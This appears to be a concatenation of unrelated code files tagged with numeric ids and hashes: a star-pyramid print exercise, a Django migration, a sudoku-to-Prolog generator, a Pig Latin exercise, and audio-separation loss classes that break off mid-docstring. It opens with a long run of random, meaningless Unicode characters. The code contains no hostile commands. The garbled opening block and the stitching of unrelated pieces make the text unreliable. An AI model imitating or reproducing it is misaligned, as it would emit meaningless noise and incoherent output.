𨭼𢏤쌃𡇨𩹠𦰡𐆁㝩𢶬𬂳𮪌🐫寶𘠀啵𩂲𪝛𗯋𩆈𐤇𐐌𩬼𧟤榎똹𝚍𠭑𬱴흟𘙳𫹧腶𝀠𩏆𬸈蔓𤡹𥍚⏑𪷥𣵮࿐𣄂𐅍᥎𪡨㑢𥭲𪴛贛𧘾콼䠋𠶝𣗨🇩𫓔텠𣫊𧤤𤗯𦑷𪰎㶷𥐈𬆏邝⾝𩩉𝌗𬯎삹𡕩𗞃팸냱𨓍ᴠ㡑𦣵뿃𠈂🔴𞠻𧂁𐨥𧍦𤌒뢎𦺙镤𖧰銌⧰詰𑵺𪮫𢴧𛰤𠁑𬓅𫐘𤖧頊𢔑𐠟ᕻ𤛢𞹟𠾜빴𦅶𧡬쉜鎯𨅫䌥𗻐⟮𠎿𣊮䀭𡙤祂𧕛ႊ𑜗𨊤湢㼾𭇭書𝆭𞹼윜㣀쬔𘓾𭏓𨠍铓𣍆𭩀𞋄𥑦𡲹鎝𥜨🟋𠁛𧛽𐭾䎮𣛷𨼠𐊂꧒𦽠𑅂𡙼๙𮕪𣑭뗋𗵛𬱢䐅󠄸𘙊𑜰𨽸𡏭戠몢乬𠉷喭🆢뙮𡅲𬱃𞄒⥊𭺜𝒻𥁨𝒆𗉌𘖛㷙𧶘瀵𗔻𧽾𡒮𦇔𘟫𧕎𭮉𘉱𬰠𘒪𦆇뚾ㅉ𢠣ꡞ𠁏虍𦎰𤖽𫕣𒒨송𐫙𫆚𮯙痢𭼃𑜱𡿰𭍎𬲊猻𮐑㝶⏟𩈑𠅙﴿챡𨜹𥫚𪝻🈶䛳𘐡𭳎𠎔󠅣𧉒𦂉𗟃𤛗𧁁𦕕𧮂ጽ𘪠禟馢𫏏𡄈굛𥱇뜺搮𪆼𡸷𘛀ᯤ𤾍𡹁𠢆嘂羽𪅼𪄭𨪱𓀬𭢭𧗙𐳁𥌋蹲𫍾𠍁𑙘뤤≂㝥𔗪ሗ툫ؙ𤠷ﻏ𨸤ꣾ簔嗉素𧓂㈏𧀷𗕛𤖥⥬𨪍𦇂𦫒𧈵𬳛𣓚𮥤𤗒𡍡鄤㕧䪠墴𣅄𫎽ℇ🐚𧡌𫮿マ瘱𫙢䐼ᭅ⣒짼ᗽ𗑭鞊矽⭳𪪾𢧴𭕹𢏔𬳠宬🚐𮞰𠂁𥦬𗩰𘎨榽肪𒆨葻𧚶𥘞𢊪嫬꺳𩔩𗡾𠫘厊𛂌𡁪𑑛𣜮𔘋🀶𬤬𩒘ᯔ뾊𔐡𥙼蓂쮻副硔𐃕ଳ堔车𪆏𧙁𥳻𝕿黙𬻬𭨞𒋧䴨𦠌吢𢞀퓮𤣅賡檃⫩𬞱⡜菰𡋆뢥蘔秗𥸚𧶰넯牉𥟴ꭾ軨탵舭𡻗𪥅ᇫ𠁷﮹ⶐ𢊥削奋✑𠼉˖𦒊𢬛⒌𧑥𫶲Ḑ𠳣𭇔𮤐𣹽𧬲鬳𨮭𠦵𤵱𐎩漗磊㊷䷮𫉼𞋨𘑱𡷤掻뽰ꧻ𫰛䅍🖳𝑤⟐꽢㱿鉢㕎ᅨ𢳗嗍𣉪蔧𖢔ᵰﶽ𛃸⺁𪅍폣𞴶誣𤐾寨ᡯ𥫷𨇘𮜾웓𐔙𖤂ᜯ𪅱𮮰脐𠵺𧛾坪𪣃옧퇌䃡𨏵㣫𦒐𣁶⎩‚㜿𘘼𗰛蔨𥳮𪴍척좨赣𦙊樉𗤦𗦉𠠋𩽟듊沇𥻄ㇵ例仈꺪𧫞𢀆𪯙𦮆𞀒ꀖ𮖬𩣒🚸𣣁𡻸𬄯𗩏𨣂𢅭𮩍㦖𐇟㌶𬉡䳰𗐫𮬲𥊎𦓨𘩶ލ𢫮玕龄ᩃ𫛯𞣁梬ᝢ郞죏𩹬⥨ᙂ嶃룗ퟰ𣣲鹀𣀅䟇鷃𖬫𭷟𫁰뛿𤉃섀卾翜識𪙱퉠ᗵ𥉾䃌𒂼𭁾𣹃𓀉𮦜𨝕𥤨𨟰𗫃ﱹ𮂰౮𤭿𢏬𪚷겍𡥥聮섎ꖼ𣏁𗆤𒔆𦖌𢼆惰𩠶溒컜ﲨ𠝤𪔱ꏻ𠜤ଔ𢳿ᔟ𠧦࠲𡳈𝐿ꦺ𩦑🜉𡵐𧚔𒅹𠴄𭄒⨐깼𖫐𨋤🂶셁𢀢𣅶똙𢽪𠧉𔓾𨷘𥤻𪻸獗𮀇𐼴𫴇摄軰鏝⽺ῗ𭗴𝆤𣜸𭥜𥌣𬾅𨦜𤴡죪ᛊ𡳈𠼘쳅壭𥽏𠗾۸𝗪𢺾𠟈𤜑𔒵䡳瞕𐼾霘𬍊᷃낫契𑖜𩡴糃海𦚿𢪁𠱦𦫦喋𡄡퐦𨴳𩵜𤽃𥹷𡲿𠸸𧵲𞱸𒍤裯挧𗄾鶈腡󠄩破䝞𤈀𣦶骵鰃𫑀𦽲𝌇𧗜𔑲焙ເ꺍𪴎𡃝𣵻茦𡖟𧀀옾𠚷𪏴𗙖㰎𮄈𔐉𑆅氚𠥣𠟏㹽𝓴𛉖𣈣𦥹𬸧ͭ𮑒𛂍𩝨𤺴႔稄𨴗𒂞𗦽𨮗寪𦌷录咎𠽈𧘒𭏷𤪞𥃭𢃽𤤆䨥웖𢯲𧖻𩯉忯嚏ꖤ䨿轢𨨰턜𨂇헀𪶈𫜧𨹭⩌𣊏𝕂𢔖𮃲𡜪㶊𖼵𭢓𦸭𦗞戓𡍍𥨀𧗔𮅿𢴣湎䦇ξ裾랜𬝃𡼸𩣲𢓧騬ټ𓌈𬗣𤗐𡘆𠵴𥹞痒Ѯ𨐺𮞌𣾽艛𩼓𧈂𤔄乨𡱤䒌𪐄槏𣸀𣁸𗌨𫠡ඟ𬌕𝛔𠱭황𪬲𐎪仸𛇫༏𝄒𮞧𠊌뫼뀲鯠kᔃ㭺𭻖𧉚椃𪯖𮗲𥼱𭧮䯵柺𬬳业𡀐𪟟혁玝ྯ鍪𮫧鱍𤾁忢𑒮濾𪻌𨢵닎𠚾ᤛ𮠖𫎖骓🈛𭶑ꌨس𝃁𪕵脼𥶕𬭲芿慚𤕲𘨭棍ǵ𫹟𦤪𨭸途𡞜𗠬꽝𣉺鍚𑌿𗚘𫿩‥𗉌𗺠뛓𢇍𫊀𠘑倣𢈦𣆯𓌞紇谱𨃄𭛅𭽆𨫱庁𫹖𣦏𛂾𢔜𡞃㗣𦴭𧼘𥨩𖹥𠓤让𤍲䑘𣟓𤭉𗈯椀𫀭𨩼𨎭𬽥𡣩𣶺𥨃𡯽𡉾𭴓𐰺𞤃솷飂㨐𡺋爫𗰉𞠀廯쁳𗓽넡𮥯𣌒𨱧ᠫ放Ꙙ𫵧𬦍껸𣦂𫒁𡥛Ḵ깽林🌖𬩐𦻙𧠝𛁿㤜𢝏𣹭ᒛ䞽𤑴㡃𪀍𗖅𪸣𮄈Ɔ삸𭘹ڜ寓傇𩤄𭰿埠ꬭಬ틷𪃦墣查ኁ𗗢𑖊⑸𤬰ᴋ𨲴𗟌ၟ𠑔𫥂𑖺胰᷄𪿓𗍀쇢𘤲𨫑錢𢷆𩓔棠𩌄🕀𡓳넙𗜧𬆈𣖌韻𥘔璜丬𭻗蝉浅𠺻𥒴䄋⇀𮞧𦼋𤼡𡌢𤓛눇𢆹🢅䊺地瑬𨷨𘏓𝛪𣃆𩺰𗯌紓犵𧟖緗쀒𥤉𪱋䩏𠚚𔐆䟃铴솎𭒆罕𦺟𮃆碵丶𫘯𧘥ㄘ䔲𨇑뎌𮞝㛧メ𬥧𬫒ﹶ杶䘥ၫŪ㴎𬳨维䠏抁勉⒅칊ꭧ⾟𫲱𬺊𑦣鬒꜐̫𥕁𫺸𤵉𘗔𞹇ꕔ𗑰𬿬ꡤ礈𘀿𩁳𩣵𬔪𗥭螛㣋𧡹멸旰㝷鑊𨮽㋜灂𡔰𩎍𩮅𥇷𛋠␟𩻾𩮰𡩨鎯🌊𢊁𐓁𩨈瓦휺𫺶𐁍ㄴ᪓𞴮晴饴ᅋ쉄𗶻𤵸鞝₃❤𑨏陑𞋣𭖴𦬩𤏟𣖨㙲𭻉ԛ𫂢쟿𠽻𗜩𪌘𭉠𫉺씸谒𖣰𣢊蜞⨻𩥏닲ꮍ둵𩘂𨦙𥣇𭖄𤧘𐙤䵻𬡧⍃𩼹𑖉ᄀ䗻𥆼𢷑𭂑㽒𑫱𝩌𪐐𩦗𩫭𞢯𦋇𡾉𧨩눍🤔𡽬𑜡𩲳滵𑈬✤𦓖㰨蠼礪𦣠𨣃𢷿𫫷ឈ𗞯𭼗𭐎𦡺𬺽Ꙑ𑱳㋲𧵱𭰴🦆𫑩𛆝구𧘦紞𣆅𩓚丌𛂒𫳲𫧱𫞮𭰲𦝹𗤳𣄳𐲮𠽥𩗦껊𧦍𠮜싰욲祭𩝬𒑅𩰿⋌턐𨩓윌ϖ𣂊㩃漥𗟃𤯂𗄶틨𘟉볻𝟭𢏾骴𨾘𔑮𗿥𡿜뇋⨟ဣ𒐝𫨔𝗸𗡘㩮钿폫쳍𐐪𥼄𥔑𪧮𓉱𩼘䮥𭏭ꂟ𥊽᾽⎕𫏋𘅪𦷔息ᑇ𤔋豰뽉𣎹𫣗𡐟𡋴𮍅쩜顆𔘫䱍𝑹쩤篯ݹ逸𘙑𦬴𡀋𗭒𐩫𐫥𮥗稃𖣧𨜑𩄀㗠𮢭궄뺄貇𥀆诨𥰈𢮉𨌯幱舵𥨠ἇ𨄆𡤭皗𠟙𫀜𠕵𨀬𐦲𩢚𗲻𗝮𔕬𡯧朜⃝𡪑瑱뱗𭒤뢣𗏳𦧫𗇡⾝𘦳徛𦭂憽쭷蔛긳𧨘𣍔퐬𥠂𣎼𤚺岂𬎱𐨏𪹟⒉𧷁ꅠ𓐧𧵺𔕄𬰥𤂊𝓺𤟌𘗙𪵊ꃈ샐𓄆𭽮𮫽𗮻𦛭ῆ𢸕𮙢𛊗𬮻𠗄邺镁쑍𑢠𦡎𫢠畩㶷𗄔҇볋𖫫𢺢ള𤺴𩛼㏪𡲽𘂾𦥆𮕝닱𣣋𤲷謚拉𢦋鉺䫷𝀍𗊘𡠮𔒗𬌽㲼𫭁껷诂𥹻𩢹𝃊𝄹嵌扮𑶔𪊩ꂲ홚𐎤𪶿𧨚ⲿ䉏䇰ꍬ𘣃𩿦𡊉𤡓𨫝𧟄炙𢱫㑺𮝏𓐩괉黄︣𫇿𖥓⟳𭒔ퟄ𫫝𫀳𡫳𦸍棔𖡤㛬𮂳𣛜𥹵⮞𑐳𧛦晇𛊨굋𢍾𛂈𢵙𫷗퍜𬰢៌𢄹𨠟𪏥𨫢𢙘𔖐껍𘛯🕀ᓭ𒔻𨵂𩪩𡍇ﹻ煻𫴸⭰𗠊𐫓𠎔𭋻𭼓𥴵𬓚𦯋𮪐놁㲌𢾾넾🡂𢎊𢋦𔖟𧉫⢤毬Ⓨ䨳舒𡄎𡇏𗺇ꣳ𦯠𪧙𬸊ㆇ鬟𤗞≭𩃾𩹒䊬𫘚𣲫嶌𩳛𝄂权𤾣츦뫍𤤫𗄢á︭碊빃𦱁𫳰𤉾𨃇𗌑撣◩𪭣ȵ𭫺禩𩝫𣵻燎𒒨ࠇ𥦳鸴𢋒𡂉ไ𡏅𬘍𣲗쬘𣫷琨𫣏걕ᨁ𤍝簱𩚢⛏𪽖ꓔ속棼𪜐𬘤鹓薥𢏦ፏ𬣧𦠸𐜏𦾐﹚𔗧𦠆𨌬𘇞蹄谐謴𥶥敕𢓩𦇸𮜃騼𪎞🟎壼尠嵪ࠖ𭎇𩒽ᓘ𢙾𨋐𨘩䢥𥥗𤕗𩑹𭘁𫈥𪠷𘝕𝩷𨞇𣪺𤉊𩕻ຑ𢁀𨼶𥜩𩝯輫엹𝒰隱䂑𦃐𘕕𓄈伬𠼫皴𠰷𪴠𫝵𩧂䤹𣷰珤𬜹𦢀𫃨𠛵쯟౫놙𫙱뫦𦙰𪍗𓊙𮤍𩥹𦁠㣼ᤛ븚搓硔蠌챶𨇦𘣕𥤽ܘ𬕐𤔉쒖𭱎𮡟𖥍ମଇ橇搂𭹷𭰂⺲𔕂컻ޠᄗ𦵘좿𢁟姈𝜅𨲲殈𒆎𡉃睆㘪𤡥𢉗𦤇勥黖𦘚🉤㷸𣁏𝇌䶍ꀾ𬣑樄慇럷𢵗𬒼㥽𤔅篠ᄀ𞤠𘤪崲𢵐𢱗㚗𡩙💐𞢜굛𭝕凾𤁑𐩠𣚑𐀭ʅ裄삀怆𬇈ꮥ𢕢区瓻꺾⦠䮾ꭻﴊ償𣎛𠧉ֈ𨯦𥎳𪟖𠛫餯𬜧𮡪𩳃𧸏䛲빹𠞼𫕹უ綏뎵胭𭽫♆𢛻⢰𩁍𒊃鮂𩀏𘑍𫠮𛈵𪭟𦼘𮀒𦒜𢹟𡠦ꛥ훍𬦕좣𬻏𩩨𔖕켤𣴚𣎤濍⽡𐑿턺𮔓㎪瀛秵𥵫𑘷𠌱𬱐𐛐𩁘䍼𩄞偻㯦📾烅צﲳ𘓡硘𭱼𢓂𘇮𪗖𬍓𡿛𠰴𡓧饬𐧯꜌缾𧔈ⱈ𨺌࡛𓎍匙𡄎璋𮋛㱳힙ﳏ𖹍ꖠ𦁭𬒼𖣷趨𩂱蠄𣋟廮𧏠씛𢪑읤ኪ𠙡𣐝𢲻ື𦾵𐳤춱㦢𠄃𩙶𮌷繹刋𫙪芅卑傊𐘐𫢡𢲲ꉌ肛蟳ᓴ𢟵પ긏𮮿壨𖾛诐턂𨲾𮯠鏞딳𦽑ኃ쑫檠鷋𨖞쥶㨣铤𥋮𭐜🧶𦹵璓𫯉𫓋𢅫𓃱𗥗唞𭫽𗒌𞸻𡥱Ӽ𠋜𤑴孵䦷⤰𝇛𨦻𬎥ﯴ≗긅𣉋𢊢삞𡤷𡩧汣𣻓𪧒䊟㒶𧤼飄𗫾蜸七枢𧏎ڥ딬ⱺ𬑘凉🈥ᯉ𢸐𗐸婖︢뀧ኸ𬺅𨦲姫𡜔⾅𒄓𥶐𪺏烃𧏽窙袄𥭟𦍞뚠顫𣃌𐚕딋𬻕𬶔𭳖𬶌𬉅骓踂ᵏ𧘦꽸𥫮휎𧟯겓起庒𖤄𗜢𐨝͞𖤺礄Լ𬜸𭗵𩚂爐莓𝜬😓𨧐𦐎𥹜皃𒐟𥲜ಬ𞡄𢶖袀𮋒𐦉졵傒𥠣粭𢀋󠄷䭵𫛁𣦈默亝𮍾𢷌宎𑧉𠏎雧칽呉𪊟蜧𘄅𮉕𠵿⋤𤯏㬔톃𗧺𢋞𭿆궼햳銎娱𗸠쵣𫬵𡼘蝃仦蚰𭾞𤅧𪮏𦥻🉡𣥵۾ꁵ𖥤纅磖絅묈倻𤱲❽𗾠慃촵팎𔒘冿ഽ𨎂𭋰薘🛲䍣𥄶鷱𤭕𬜞𦸣𫁓먹쇜藋ٷ𬐱뛀梨𤟦𮏚𠟩𠍍𨇚𐡾𩭰𬕢ྤ𗊊룻𦯚馮㡰撬嬨ᓆ𬔈𬢟𨜧𧃣ᕰ𘒷㹾𣿗𠓥𠙮♥𦞾𤲾聧떽𮙆𣊅𤤃𦉧𫣬𗋯뵶㚿̥駕斲𣺌𡁵𮧱ﮇ𬰮𣩉𨑛𘪨𬊟𠳇𬇼䨏쁺Θ𧩡𣍤𝇑🨣𩕍𩄤⥱𧪚㍫ꤋ☩𖮅𦴑殇䧑ꍸ闪福僙𬏧𧗼门𨦼𗀞ⱁ괰𥹝𭒻懇阑𩺔𬅻𓊇㨑쮕詷𫺐𒇊뤠塦𐘲𖫡쯝𬊓蟫𢝞𡲑𑈃𖤽𦽯𐭱𪳠䯈𡵬樛氳𤫑𘕯𩞛ⰿ❴ら𣝸🔦𭋑⚺𗤲蓖𮠍𥀋素荹𭇞𨻦𛊵癰𤦦ꌫ蕧𧞴𠄗铛럿𢲑턮⾔𫐥𭳷ਡ규ᩒ𧊎铍𮆂🧾𥄛𢴯軘׆𐠢豇𝧹𝅼𠒦𐠯𛰳㯠𦍢𗝩📩召𥁛㰘𬟫𥮖𑨁嵽ᾈ𑣑ﱿ𧸏𥆒𣈵𝓫᪐䃪𡜼𤰅𭳡𡄱𨁱锣誕𑰴ᜌ𡣭𦪢ꠞẚ죔𠕻ើᎪ㊌𫏸䰢缯𬑘𭯂俣𭂮𣸈𩊇𢯎𪳠𮇉𦖎묏𮟭⓽𨇺𬞗凵⾍𗺀ᔾ𦙪𪑊𖢖☺鶒訐⸊↚𠮈𗝄𭎔𗃵𬶁栕𦶁𪤳𗚴𢾈𒁛𮧠𠻭𮉠을艗𫃄퇪惱蓍즼ꀾ𢾠𣃪𠤏𤖙𢔂𠐵稿𒄬𭣁𧿹𬺆㿛𪖸監𡸩ꎢ䇐쀃𗆻𫤜𨑛㣗楻Ȇ龵녅𗽫𣼫𡼂𐏁𝖡𗠥𩢠䁎憸肎憎⓸𖨅糆訮尪ㅽ𒉘𤎓𪚥瘦𣆺𨴉𡀒𤴱餈𮍏䦓헫හ춨𗊛𫢵㲸鬠ྵ鷓༵𠗸𗻣뢜𐅑𧬻𔔕𣎦𭋣◚蠇𪒖매모𧢭𨀙睂𘃭𮔑嚮ﶫ쟉𧜓݈𬜡𘣏𨪋빩𡈁𑖓柒솜𤹴真𤹁匿𧢏ኃ𦼦𗚄澗㪾𨛓𤒒𧪸𥙍𮦝𫺄齈𮬑𪮔𩟬𫼾ᙞ꺄𢬃𡬵𬞦𔖗𭞐𘘺쮾𭃼䧺𮞠𩬲𧘍𐔏㮝𘠪𐆗괎઼🍙𬕢䰻脽𥯕𤠙𮪳劙𦣷𬉑啭𡀽剷𩲱𥓩ẩ퇶𢵄𡁃𢲎𡞝氧𘥘𛱴𝒦𣊩𩳃𡩾롳Ᵹ𨋍🄐𮟍焀𦠁𤒨𭵾𠛶𠑌잠𪎀𢶈럘𔗗潢𩆻𢠋릒⟝⿕𦧍𥾽𥜳𧼸𩚘𭱑𥖳𭘬頙𨦊𧹽볽ٽ𧑼࠰fi𣜘輲焼𡿬𘏼𧞝標옄༝𑅦𤠛뙿涫𩎭𨂖𤆒娟𓉧𩘴𑐙묨筱䡐𬧑𡶠𡎮𪝝𐕋𢮳폋𬽫뒁쩖𡠈𦵥𑩸𦼳𑖳𑐋裔녵㪜𧁄暽𩯚󠅛歅𧦏𫋗𢘽𥛋𨲯𣻂𤈩𦊁👵ꗞ鐅憘𭻄𥈥⬃𬻅𦊳𪳎⊚𥎆󠅨摹≰𭟕𮂹颂𫄟𡡞盰ᴼ䀓𭏃𬟾귩ጀ𤳎뢝ⵦ𦲭㗔怺퀲𬡈犠쳶𑣔𫡅돵銽𧅾𦏋𭚋🄶𭩾𑪍▓虵𩲮鿌𮩒𨮭𐍹侹ꦀ𩋊𣽋﹢粎Ȗ𡽫𩌣佸𪩞欛𪡽𡽃᭥𝘿𩆇𨍷⏉𥛼녥𥝤踦𨡹ⷙ𩨎𭲎𩚩𧥑랿諍𦌌𘪡𠨊𡸉쫧𩀼𢩰𫧱咬𪕋❑凮ꉢ췄룠ⲓ嵴𑇨𣮠𪣒𭗏𑩻𡗁𗴭𔖈࠭𒑉𭘬𣋑뺕𝣭未쨪欮𗛞𦑚ଠ䫸𤳸绶𩺧仌㝾樌➯🜻ι𥃠冧宂⮔𨽌㸥賔㘐𠀜콂烳𓆍,𧓉铔롈꣎𥉗𗋫𤯐娬𢓵𠮉𧎦𣌆𤾴ꌾ𑁞ԗ酡𫮻𦃇𥼅𘛴𮪊𤙩𩊾ᨹ嗇쳾ꄞ𧀙𡆿𬴳٦𪉛飺𫞠𩺒𨾗綂𑒘𭯾ྍۋ⡒𠯯ꌪ쬜𩴘𩼫𑖟쫌⇳🛒𣱊逩쳎귣𘃡粋𨏳ﮀ각𖢽𦪠棼ཤ𦾠𐨥𑿡𐐠𨷥𩯌𨭆𫚙𐇐𨑲𛱃轢𬙁𧚰𤻤𥟟⍎𨍲𫄓𠷨𛇧鰾𧶡𑪅𨬆𮐮𤼒寁ذs┎ꢝ☣𧬪𐮩𢻆𖽉𪒦璵𝀝𩼷藗𥛦ꍘ𪢪묪𠧱𛲅𡒚𡊾繊𓀺ꡣ𩧵ູ𐀑⁹𥝧℞𩗏🗩늧쌄𗓈𠇙𗦊𧥿會𬒕龸𧫝𪞚臮㸤𬾴𠱰𗗤🇾摖𮋤㗓𪲱𫸇ꋠ醉𤓯𣑡逋𧕁𒈰䤄朝ﰆ𗖰𦷖𦾲𭧈𔑇𐚲𭑉𤓚钩끶촛🉁𧯇𪀳𡌎𠹉𥥥𪴭𤌙䭓𨾹𤓶ퟴ瞵𩨯㐆뚮𧊸壵㈰𤸂鮹椙诗᧧𧑈傁𮋩𢽅𩆮벌𩂵쇿ᛮ쫹ᥚ剪ꀏ𫖁簛𫃃𣡀鞋𪔳𫄼𛁳ꦖ𣕬虸ᢌ⚀罗𘂦諴衸➸𣛔쒣𒐳𪪃𥚿▌𠝭﴿䙷𡐋苹๊𗰼𡜞𦭤𡊛𓃲🠲燎涁𩺥𛋟𩖙𦧶𡛹𣻓ⴱ瘐뢝𦋈𮆟𢑇ά웶ᕅ𪯖𢱩띥福𡭓𠷊∼𭐸𖦤幆𪙑츑𭓣𝧯𡘼チ몬㳕𪠼𢧮ㇿ𦥟𭙖𠊷𢵨𪭠𐳞𡯈戼𩆝𨅢𠭭顀𖭛𪘵𫄭𦨼ꎹ𨼫클ᯧ𠻲檟𧡣𠂹𠔶폇𣈤槦빜𤁻📆ᷜ㜇𧥏𥕱𣔃𡡚𡦘𦠆𡃚𦶟䧥씙𭒤𩮥𠜚𦉴𑋹Ⴗ𞲛𭩿럩𤼝𡋑𥋍𧧭𨸼𤩌颯㛱𧚷ᘈᅇ𭞬훖𥾶⪍𖡰剈𥐀쁠𑈔𣧞앶𧢕𭵂𩥢𤀆ඞઽ𢣫𣽒长烲𬘶𓄪𪪻⭅溈䀉덤𣿞😼𭖹𘣰䍇𢤶镏𗖷䏏𡛆𦌙䂎𬐍𝩞𬁕𩎖㺢𢃭㈨𗔟𩎝𬎯𗽩𮄏䢴𣧗䵷𤘹
20,180
5b0cf18be73eeef0ad66cb2cfb007d22e3961aa0
# 01.05: Utskrift i pyramideform print (" *") print (" * *") print (" * * *") # eller print("\n *\n * *\n* * *")
20,181
0dae8f022b3a5752ccac623f5f2db9059a1ce49e
# Generated by Django 2.0.3 on 2018-04-29 21:29 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('main', '0023_auto_20180417_2149'), ] operations = [ migrations.AddField( model_name='playercharacter', name='initial_armor', field=models.IntegerField(default=5), ), migrations.AddField( model_name='playercharacter', name='initial_attack_modifier', field=models.IntegerField(default=4), ), migrations.AddField( model_name='playercharacter', name='initial_attack_range', field=models.IntegerField(default=0), ), migrations.AddField( model_name='playercharacter', name='initial_health', field=models.IntegerField(default=4), ), migrations.AddField( model_name='playercharacter', name='initial_speed', field=models.IntegerField(default=5), ), ]
20,182
0cce3b866d406af6241cc0357f570874bd34072e
import sys def V(i,j): return 'V%d_%d' % (i,j) def domains(Vs): return [ q + ' in 1..9' for q in Vs ] def all_different(Qs): return 'all_distinct([' + ', '.join(Qs) + '])' def get_column(j): return [V(i,j) for i in range(9)] def get_raw(i): return [V(i,j) for j in range(9)] def get_square(i, j): px, py = i * 3, j * 3 return [ V(px + ox, py + oy) for ox in range(3) for oy in range(3) ] def horizontal(): return [ all_different(get_raw(i)) for i in range(9)] def vertical(): return [all_different(get_column(j)) for j in range(9)] def area(): return [ all_different(get_square(i, j)) for i in range(3) for j in range(3) ] def print_constraints(Cs, indent, d): position = indent print (indent - 1) * ' ', for c in Cs: print c + ',', position += len(c) if position > d: position = indent print print (indent - 1) * ' ', def sudoku(assigments): variables = [ V(i,j) for i in range(9) for j in range(9)] print ':- use_module(library(clpfd)).' print 'solve([' + ', '.join(variables) + ']) :- ' cs = domains(variables) + vertical() + horizontal() + area() for i,j,val in assigments: cs.append( '%s #= %d' % (V(i,j), val) ) print_constraints(cs, 4, 70), print print ' labeling([ff], [' + ', '.join(variables) + ']).' print print ":- tell('prolog_result.txt'), solve(X), write(X), nl, told." if __name__ == "__main__": triples = [] with open('zad_input.txt', 'r') as input_file: input_lines = map(lambda x: list(x), input_file.readlines()) for i in range(len(input_lines)): for j in range(9): if input_lines[i][j] != '.': triples.append((i, j, int(input_lines[i][j]))) sys.stdout = open('zad_output.txt', 'w') sudoku(triples)
20,183
e6ab1e257b716b83f068eb9d0cfed4dd2bd6154e
# Convert input text into Pig Latin ################################################### # Student should add code where relevant to the following. import simplegui # Pig Latin helper function def pig_latin(word): """Returns the (simplified) Pig Latin version of the word.""" first_letter = word[0] rest_of_word = word[1 : ] # Student should complete function on the next lines. if first_letter == 'a' or first_letter == 'e' or first_letter == 'i' or first_letter == 'o' or first_letter == 'u': return word + "way" else: return rest_of_word + first_letter + "ay" # Handler for input field def get_input(text): print pig_latin(text) # Create frame and assign callbacks to event handlers frame = simplegui.create_frame("Pig Latin translator", 200, 200) frame.add_input("Enter the word",get_input,100) # Start the frame animation frame.start() ################################################### # Test #get_input("pig") #get_input("owl") #get_input("tree") ################################################### # Expected output from test #igpay #owlway #reetay
20,184
6ccb754c7837cd4bb98e6c07223567f5d394f8fc
"""@file anchor_deepattractornet_softmax_loss.py contains the AnchorDeepattractornetSoftmaxLoss""" import loss_computer from nabu.neuralnetworks.components import ops import warnings import tensorflow as tf class AnchorDeepattractornetSoftmaxLoss(loss_computer.LossComputer): """A loss computer that calculates the loss""" def __call__(self, targets, logits, seq_length): """ Compute the loss Creates the operation to compute the deep attractor network with softmax loss, using anchors Args: targets: a dictionary of [batch_size x time x ...] tensor containing the targets logits: a dictionary of [batch_size x time x ...] tensors containing the logits seq_length: a dictionary of [batch_size] vectors containing the sequence lengths Returns: loss: a scalar value containing the loss norm: a scalar value indicating how to normalize the loss """ warnings.warn('In following versions it will be required to use the AnchorDeepattractornetLoss', Warning) # Clean spectograms of sources spectrogram_targets = targets['multi_targets'] # Spectogram of the original mixture, used to mask for scoring mix_to_mask = targets['mix_to_mask'] # Length of sequences seq_length = seq_length['bin_emb'] # Logits (=output network) emb_vec = logits['bin_emb'] anchors = logits['anchors'] # calculate loss and normalisation factor of mini-batch loss, norm = ops.anchor_deepattractornet_loss( spectrogram_targets, mix_to_mask, emb_vec, anchors, seq_length, self.batch_size, activation='softmax') return loss, norm class AnchorNormDeepattractornetSoftmaxLoss(loss_computer.LossComputer): """A loss computer that calculates the loss""" def __call__(self, targets, logits, seq_length): """ Compute the loss Creates the operation to compute the deep attractor network with softmax loss, using anchors. Embeddings will be normalized. Args: targets: a dictionary of [batch_size x time x ...] tensor containing the targets logits: a dictionary of [batch_size x time x ...] tensors containing the logits seq_length: a dictionary of [batch_size] vectors containing the sequence lengths Returns: loss: a scalar value containing the loss norm: a scalar value indicating how to normalize the loss """ warnings.warn('In following versions it will be required to use the AnchorDeepattractornetLoss', Warning) # Clean spectograms of sources spectrogram_targets = targets['multi_targets'] # Spectogram of the original mixture, used to mask for scoring mix_to_mask = targets['mix_to_mask'] # Length of sequences seq_length = seq_length['bin_emb'] # Logits (=output network) emb_vec = logits['bin_emb'] anchors = logits['anchors'] # calculate loss and normalisation factor of mini-batch loss, norm = ops.anchor_deepattractornet_loss( spectrogram_targets, mix_to_mask, emb_vec, anchors, seq_length, self.batch_size, activation='softmax', normalize=True) return loss, norm class WeightedAnchorNormDeepattractornetSoftmaxLoss(loss_computer.LossComputer): """A loss computer that calculates the loss""" def __call__(self, targets, logits, seq_length): """ Compute the loss Creates the operation to compute the deep attractor network with softmax loss, using weighted anchors. Embeddings will be normalized. Args: targets: a dictionary of [batch_size x time x ...] tensor containing the targets logits: a dictionary of [batch_size x time x ...] tensors containing the logits seq_length: a dictionary of [batch_size] vectors containing the sequence lengths Returns: loss: a scalar value containing the loss norm: a scalar value indicating how to normalize the loss """ warnings.warn('In following versions it will be required to use the AnchorDeepattractornetLoss', Warning) # Clean spectograms of sources spectrogram_targets = targets['multi_targets'] # Spectogram of the original mixture, used to mask for scoring mix_to_mask = targets['mix_to_mask'] # Length of sequences seq_length = seq_length['bin_emb'] # Logits (=output network) emb_vec = logits['bin_emb'] anchors = logits['anchors'] spk_weights = logits['spk_weights'] # calculate loss and normalisation factor of mini-batch loss, norm = ops.weighted_anchor_deepattractornet_loss( spectrogram_targets, mix_to_mask, emb_vec, anchors, spk_weights, seq_length, self.batch_size, activation='softmax', normalize=True) return loss, norm class TimeAnchorDeepattractornetSoftmaxLoss(loss_computer.LossComputer): """A loss computer that calculates the loss""" def __call__(self, targets, logits, seq_length): """ Compute the loss Creates the operation to compute the deep attractor network with softmax loss, using anchors Args: targets: a dictionary of [batch_size x time x ...] tensor containing the targets logits: a dictionary of [batch_size x time x ...] tensors containing the logits seq_length: a dictionary of [batch_size] vectors containing the sequence lengths Returns: loss: a scalar value containing the loss norm: a scalar value indicating how to normalize the loss """ warnings.warn('In following versions it will be required to use the AnchorDeepattractornetLoss', Warning) # Clean spectograms of sources spectrogram_targets = targets['multi_targets'] # Spectogram of the original mixture, used to mask for scoring mix_to_mask = targets['mix_to_mask'] # Length of sequences seq_length = seq_length['bin_emb'] # Logits (=output network) emb_vec = logits['bin_emb'] anchors = logits['anchors'] # calculate loss and normalisation factor of mini-batch loss, norm = ops.time_anchor_deepattractornet_loss( spectrogram_targets, mix_to_mask, emb_vec, anchors, seq_length, self.batch_size, activation='softmax') return loss, norm class AnchorDeepattractornetLoss(loss_computer.LossComputer): """A loss computer that calculates the loss""" def __call__(self, targets, logits, seq_length): """ Compute the loss Creates the operation to compute the deep attractor network 